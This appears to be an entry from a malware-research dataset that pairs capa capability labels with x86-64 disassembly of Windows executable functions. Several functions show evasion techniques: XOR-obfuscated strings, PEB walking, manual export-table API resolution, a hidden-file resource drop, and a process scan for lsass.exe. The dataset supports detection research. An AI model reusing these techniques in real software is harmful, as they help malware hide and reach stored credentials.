joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400060f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0xe]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, str.vVGwInfPHRHwTGBJqKvXMtJXhbnrASRbIyZRwzbbNHyokwyyuTIdykzoLXPRZFDjQhKnPwLkyPTJfFtBynxSQmDuOcmAHugROtBBsYmbPbWfhWdigknMOfzyZiFRfsUFXcFQGROyIQrUdWKZGhGqVjEEgfrRxhQECQOpJCuHOZrentXfBPDTnqRnEkYmZYdaeJQxAUWaxnzJANCfkaXFyqAlqXCFOKriStfKsUNWzbOSTqYirMcgZHOUtdYyQCKMpbXggMzJvjKFUBlRgJdwmIWeRkwWMrrqqWhATBECGfIqpPEEQDnfUtKFBACVPYSTKaGdFwyekCVwLdrIOcWEzgECKCSBtntzMgOwUKNxmWUFXKfWlBmOYpqRfdQQgHvupLVIBQgjvzNJqdjUImAUUGYjFtInbBZX
mov r10, rax
sub rbx, rax
movabs rdi, 0x13a524387ac82261
lea r9, [rax + 2]
nop dword [rax + rax]
movsxd r8, r11d
mov rax, rdi
mul r8
mov rcx, r8
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 2]
movsx eax, al
mov word [r9 - 2], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 2]
xor al, byte [rbx + r9]
movsx eax, al
mov word [r9], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 3]
xor al, byte [rbx + r9 + 2]
movsx eax, al
mov word [r9 + 2], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 4]
xor al, byte [rbx + r9 + 4]
movsx eax, al
mov word [r9 + 4], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 5]
xor al, byte [rbx + r9 + 6]
movsx eax, al
mov word [r9 + 6], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 6]
xor al, byte [rbx + r9 + 8]
movsx eax, al
mov word [r9 + 8], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 7]
xor al, byte [rbx + r9 + 0xa]
movsx eax, al
mov word [r9 + 0xa], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 + 0xc]
movsx eax, al
mov word [r9 + 0xc], ax
lea rcx, [r8 + 8]
mov rax, rdi
mul rcx
add r11d, 0xb
lea r9, [r9 + 0x16]
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 9]
xor al, byte [rbx + r9 - 8]
movsx eax, al
mov word [r9 - 8], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 0xa]
xor al, byte [rbx + r9 - 6]
movsx eax, al
mov word [r9 - 6], ax
mov rax, rdi
mul rcx
shr rdx, 5
imul rax, rdx, 0x1a1
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 4]
movsx eax, al
mov word [r9 - 4], ax
cmp r11d, 0xb
jb 0x140006140
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140009790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
movsxd rax, dword [rcx + 0x3c]
mov r12, rdx
mov rdx, rcx
mov ecx, dword [rax + rcx + 0x88]
xor eax, eax
add rcx, rdx
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x28], rcx
mov r8d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r8, rdx
mov r10d, dword [rcx + 0x24]
add r9, rdx
add r10, rdx
mov qword [rbp - 0x20], r8
mov qword [rbp - 0x18], r9
mov qword [rbp - 0x10], r10
cmp dword [rcx + 0x18], eax
jbe 0x1400099be
mov word [rbp + 0x50], 0x5676
mov word [rbp + 0x58], 0x5676
nop
mov esi, dword [r9 + rax*4]
lea rcx, [rbp + 0x50]
movzx eax, word [r10 + rax*2]
add rsi, rdx
xor edi, edi
mov r15d, dword [r8 + rax*4]
add r15, rdx
mov qword [rbp - 8], r15
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x140009844
nop dword [rax]
lea rcx, [rbp + 0x50]
inc rdi
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rdi + rsi], cl
jne 0x140009830
lea rcx, [rbp + 0x58]
xor ebx, ebx
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [r12], cl
je 0x140009875
nop dword [rax + rax]
lea rcx, [rbp + 0x58]
inc rbx
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rbx + r12], cl
jne 0x140009860
cmp rdi, rbx
jne 0x140009992
mov r13, rsi
mov word [rbp - 0x50], 0x5676
sub r13, r12
mov r14, r12
nop dword [rax]
lea rcx, [rbp - 0x50]
xor ebx, ebx
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x1400098b6
lea rcx, [rbp - 0x50]
inc rbx
call fcn.140001620
movzx ecx, byte [rax]
cmp byte [rbx + rsi], cl
jne 0x1400098a2
mov rax, r14
sub rax, r12
dec rbx
cmp rax, rbx
jae 0x1400099b8
movsx r15d, byte [r14 + r13]
lea rcx, [rbp - 0x4e]
mov dword [rbp - 0x4e], 0x560017
call fcn.140003240
movzx eax, word [rax]
cmp r15d, eax
jl 0x140009928
lea rcx, [rbp - 0x4a]
mov dword [rbp - 0x4a], 0x56000c
call fcn.140003240
movzx ecx, word [rax]
cmp r15d, ecx
jg 0x140009928
lea rcx, [rbp - 0x46]
mov dword [rbp - 0x46], 0x560017
mov dword [rbp - 0x42], 0x560037
call fcn.140003240
lea rcx, [rbp - 0x42]
movzx ebx, byte [rax]
call fcn.140003240
movzx ecx, byte [rax]
sub cl, bl
add r15b, cl
movsx edi, byte [r14]
lea rcx, [rbp - 0x3e]
mov dword [rbp - 0x3e], 0x560017
call fcn.140003240
movzx eax, word [rax]
cmp edi, eax
jl 0x140009985
lea rcx, [rbp - 0x3a]
mov dword [rbp - 0x3a], 0x56000c
call fcn.140003240
movzx ecx, word [rax]
cmp edi, ecx
jg 0x140009985
lea rcx, [rbp - 0x36]
mov dword [rbp - 0x36], 0x560017
mov dword [rbp - 0x32], 0x560037
call fcn.140003240
lea rcx, [rbp - 0x32]
movzx ebx, byte [rax]
call fcn.140003240
movzx ecx, byte [rax]
sub cl, bl
add dil, cl
cmp r15b, dil
jne 0x140009992
inc r14
jmp 0x140009890
mov eax, dword [rbp - 0x2c]
mov rcx, qword [rbp - 0x28]
inc eax
mov dword [rbp - 0x2c], eax
cmp eax, dword [rcx + 0x18]
jae 0x1400099be
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp - 0x20]
mov r9, qword [rbp - 0x18]
mov r10, qword [rbp - 0x10]
jmp 0x140009800
mov rax, qword [rbp - 8]
jmp 0x1400099c0
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000b5e0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000b642
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000b3e0
test al, al
jne 0x14000b654
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000b610
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov ebx, 0x48
mov dword [rbp - 0x20], 0x13003d
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], bx
mov dword [rbp - 0x1c], 0x390015
mov dword [rbp - 0x18], 0x22000c
mov dword [rbp - 0x14], 0x110024
mov dword [rbp - 0x10], 0x17001b
call fcn.1400060f0
mov rcx, rax
call 0x14000b5e0
lea rcx, [rbp - 0x20]
mov qword [0x140027670], rax
mov dword [rbp - 0x20], 0x13003d
mov dword [rbp - 0x1c], 0x390015
mov dword [rbp - 0x18], 0x22000c
mov dword [rbp - 0x14], 0x620055
mov word [rbp - 0x10], bx
call fcn.140005f00
mov rcx, rax
call 0x14000b5e0
lea rcx, [rbp - 0x20]
mov qword [0x140027660], rax
mov dword [rbp - 0x20], 0x220018
mov dword [rbp - 0x1c], 0x1b0023
mov dword [rbp - 0x18], 0x6e0025
call fcn.140005d90
mov rcx, rax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rbp
jmp 0x14000b5e0
Function at 0x14000d8e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rbx, qword [0x140027678]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x3e0025
mov dword [rbp - 0x1c], 0x1b0022
mov dword [rbp - 0x18], 0x5d0025
mov dword [rbp - 0x14], 0x7e0054
mov dword [rbp - 0x10], 0x3e002c
mov dword [rbp - 0xc], 0x770024
call fcn.140003670
mov rcx, rax
call rbx
mov rbx, qword [0x140027678]
lea rcx, [rbp - 0x20]
mov qword [0x140027658], rax
mov dword [rbp - 0x20], 0x3f0021
mov dword [rbp - 0x1c], 0x1e0029
mov dword [rbp - 0x18], 0xb0027
mov dword [rbp - 0x14], 0x7e0012
mov dword [rbp - 0x10], 0x3e002c
mov dword [rbp - 0xc], 0x770024
call fcn.140003670
mov rcx, rax
call rbx
movdqa xmm0, xmmword [0x1400112d0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140027648]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x140027668], rax
mov word [rbp - 0x10], 0x1c07
mov byte [rbp - 0xe], 0x76
call fcn.140005550
mov rcx, qword [0x140027658]
mov rdx, rax
call rbx
mov rbx, qword [0x140027648]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x1b223e25
mov dword [rbp - 0x1c], 0x351e2b25
mov dword [rbp - 0x18], 0x123c272b
mov word [rbp - 0x14], 0x4703
call fcn.140003de0
mov rcx, qword [0x140027658]
mov rdx, rax
call rbx
mov rbx, qword [0x140027648]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x1233383f
mov dword [rbp - 0x1c], 0x2403003b
mov dword [rbp - 0x18], 0x192d2207
mov word [rbp - 0x14], 0x4715
call fcn.140003de0
mov rcx, qword [0x140027668]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400111f0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140027648]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400275f8], rax
mov byte [rbp - 0x10], 0x71
call fcn.140005260
mov rcx, qword [0x140027668]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140011270]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140027648]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x140027600], rax
mov dword [rbp - 0x10], 0x58132715
call fcn.140003310
mov rcx, qword [0x140027668]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400112f0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140027648]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400275f0], rax
mov byte [rbp - 0x10], 0x71
call fcn.140005260
mov rcx, qword [0x140027668]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140011350]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140027648]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400275e8], rax
mov dword [rbp - 0x10], 0x19182418
mov byte [rbp - 0xc], 0x4d
call fcn.140004060
mov rcx, qword [0x140027668]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140011290]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140027648]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0xa1f
mov byte [rbp - 0xe], 0x76
call fcn.140005550
mov rcx, qword [0x140027668]
mov rdx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp rax
Function at 0x14000e2f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xf8
call fcn.14000adf0
movdqa xmm0, xmmword [0x1400112a0]
lea rcx, [rbp - 0x59]
movdqa xmm1, xmmword [0x140011210]
xor ebx, ebx
movdqu xmmword [rbp - 0x59], xmm0
mov qword [rbp + 0x6f], rbx
movdqa xmm0, xmmword [str.__v__]
movdqu xmmword [rbp - 0x39], xmm0
mov dword [rbp + 0x67], ebx
movdqu xmmword [rbp - 0x49], xmm1
mov word [rbp - 0x29], 0x2701
mov byte [rbp - 0x27], 0x49
call fcn.140002230
mov rdx, rax
xor r9d, r9d
lea rax, [rbp + 0x67]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rcx, 0xffffffff80000001
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf013f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14000add3
mov rcx, qword [rbp + 0x6f]
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xe8], r12
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xd0], r15
call fcn.14000c630
mov eax, 0x76
mov dword [rbp - 0x59], 0x320037
lea rcx, [rbp - 0x59]
mov word [rbp - 0x35], ax
mov dword [rbp - 0x55], 0x150028
mov dword [rbp - 0x51], 0x4e002c
mov dword [rbp - 0x4d], 0x3f0020
mov dword [rbp - 0x49], 0x260026
mov dword [rbp - 0x45], 0x270068
mov dword [rbp - 0x41], 0x240035
mov dword [rbp - 0x3d], 0x2b0029
mov dword [rbp - 0x39], 0x2e0016
call fcn.140001b30
lea rcx, [rbp - 0x25]
mov dword [rbp - 0x25], 0x3e0022
mov rbx, rax
mov dword [rbp - 0x21], 0x570022
mov dword [rbp - 0x1d], 0x1002f
mov dword [rbp - 0x19], 0x240008
mov dword [rbp - 0x15], 0x72003b
mov dword [rbp - 0x11], 0x16003f
mov dword [rbp - 0xd], 0x670027
mov dword [rbp - 9], 0x3f0031
mov dword [rbp - 5], 0x280012
mov dword [rbp - 1], 0x2b0013
mov dword [rbp + 3], 0x12003e
mov dword [rbp + 7], 0x34003f
mov dword [rbp + 0xb], 0x1b0004
mov dword [rbp + 0xf], 0x1b004e
mov dword [rbp + 0x13], 0x20002f
mov dword [rbp + 0x17], 0x30026
mov dword [rbp + 0x1b], 0x150025
mov dword [rbp + 0x1f], 0x36003f
mov dword [rbp + 0x23], 0x7a0059
call fcn.140001eb0
mov r9d, 0x40
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r15, qword [rsp + 0xd0]
mov al, 1
mov r14, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0x120]
add rsp, 0xf8
pop rbx
pop rbp
ret
xor al, al
add rsp, 0xf8
pop rbx
pop rbp
ret
jmp 0x14000abd0
Function at 0x140001ec4
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x1400539c0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x1400539e8
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x140053a32
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x1400539dd
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret
Function at 0x140002a4f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x140015860
push rdi
sub rsp, 0x50
lea r8, str.killer_ultra
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001588e
xor eax, eax
jmp 0x14001593c
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400158af
xor eax, eax
jmp 0x14001593c
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x38], eax
lea rdx, [0x1401a7a6c]
lea rcx, [0x1401a8268]
call fcn.140001ab4
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400158f4
xor eax, eax
jmp 0x14001593c
mov edx, 2
lea rcx, [0x1401a8278]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x140015918
mov rcx, qword [rsp + 0x40]
call fcn.14000310c
xor eax, eax
jmp 0x14001593c
mov eax, dword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov edx, eax
mov rcx, qword [rsp + 0x30]
call fcn.140006c0d
mov rcx, qword [rsp + 0x40]
call fcn.14000310c
mov eax, 1
add rsp, 0x50
pop rdi
ret

Function at 0x140002dab
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400869c0
push rdi
sub rsp, 0x40
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x20]
call fcn.140002f4a
mov dword [rsp + 0x28], eax
call fcn.14000413d
mov ecx, 8
imul rcx, rcx, 5
mov rax, qword [rax + rcx]
mov qword [rsp + 0x30], rax
mov r9d, dword [rsp + 0x28]
lea r8, [rsp + 0x20]
mov edx, 0x22
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov eax, 2
imul rax, rax, 0
movzx eax, word [rsp + rax + 0x20]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0x30
je 0x140086a3f
cmp dword [rsp + 0x24], 0x31
je 0x140086a46
cmp dword [rsp + 0x24], 0x32
je 0x140086a4d
jmp 0x140086a54
mov eax, 2
jmp 0x140086a56
mov eax, 1
jmp 0x140086a56
mov eax, 3
jmp 0x140086a56
xor eax, eax
add rsp, 0x40
pop rdi
ret
Function at 0x140002f7c
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140013e70
push rdi
sub rsp, 0x2a0
lea rdi, [rsp + 0x20]
mov ecx, 0xa0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401fc058]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov dword [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x140013f15
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140013f0a
lea rdx, str.lsass.exe
lea rcx, [rsp + 0x6c]
call fcn.140003972
test eax, eax
jne 0x140013ef7
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
jmp 0x140013f0a
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140013ed8
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov edi, eax
mov rcx, rsp
lea rdx, [0x1401a9040]
call fcn.14000565a
mov eax, edi
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400038d2
add rsp, 0x2a0
pop rdi
ret

Function at 0x1400035da
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140111250
mov rax, rcx
neg rcx
test rax, 7
je 0x14011126d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1401112c8
test al, 7
jne 0x140111260
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140111281
mov rdx, qword [rax - 8]
test dl, dl
je 0x1401112f2
test dh, dh
je 0x1401112ec
shr rdx, 0x10
test dl, dl
je 0x1401112e6
test dh, dh
je 0x1401112e0
shr rdx, 0x10
test dl, dl
je 0x1401112da
test dh, dh
je 0x1401112d4
shr edx, 0x10
test dl, dl
je 0x1401112ce
test dh, dh
jne 0x140111281
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret
Function at 0x14000361b
Capabilities:
Query environment variable

Disassembly:
jmp 0x1401715b0
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140171130
lea rcx, [rsp + 0x20]
call fcn.140171180
movzx eax, al
test eax, eax
jne 0x1401715f5
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.140171160
mov rax, qword [rsp + 0x40]
jmp 0x1401716ef
lea rcx, [rsp + 0x20]
call fcn.140171280
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140171220
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.1400039c7
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140002f59
lea rcx, [rsp + 0x28]
call fcn.140003eb8
movzx eax, al
test eax, eax
jne 0x14017168f
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.14000540c
lea rcx, [rsp + 0x20]
call fcn.140171160
mov rax, qword [rsp + 0x50]
jmp 0x1401716ef
lea rcx, [rsp + 0x20]
call fcn.140171280
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.140006429
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.1400038f5
lea rcx, [rsp + 0x28]
call fcn.140006e1f
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.14000540c
lea rcx, [rsp + 0x20]
call fcn.140171160
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x140003b61
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1400b0e50
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400b07d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400b0e8f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140217020]
jmp 0x1400b0e99
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x140003ddc
Capabilities:
Query environment variable

Disassembly:
jmp 0x140171300
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140171130
lea rcx, [rsp + 0x40]
call fcn.1401712b0
movzx eax, al
test eax, eax
jne 0x140171348
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140171160
mov rax, qword [rsp + 0x70]
jmp 0x140171519
lea rcx, [rsp + 0x40]
call fcn.140171280
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140171220
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140171280
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.14000501f
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1401713ee
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140171160
mov rax, qword [rsp + 0x80]
jmp 0x140171519
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400039c7
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140003792
lea rcx, [rsp + 0x48]
call fcn.140003175
movzx eax, al
test eax, eax
jne 0x140171455
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.140001d25
lea rcx, [rsp + 0x40]
call fcn.140171160
mov rax, qword [rsp + 0x88]
jmp 0x140171519
lea rcx, [rsp + 0x48]
call fcn.1400042eb
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140171280
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.14000501f
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1401714eb
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.140001d25
lea rcx, [rsp + 0x40]
call fcn.140171160
mov rax, qword [rsp + 0xa0]
jmp 0x140171519
lea rcx, [rsp + 0x48]
call fcn.140003742
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.140001d25
lea rcx, [rsp + 0x40]
call fcn.140171160
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret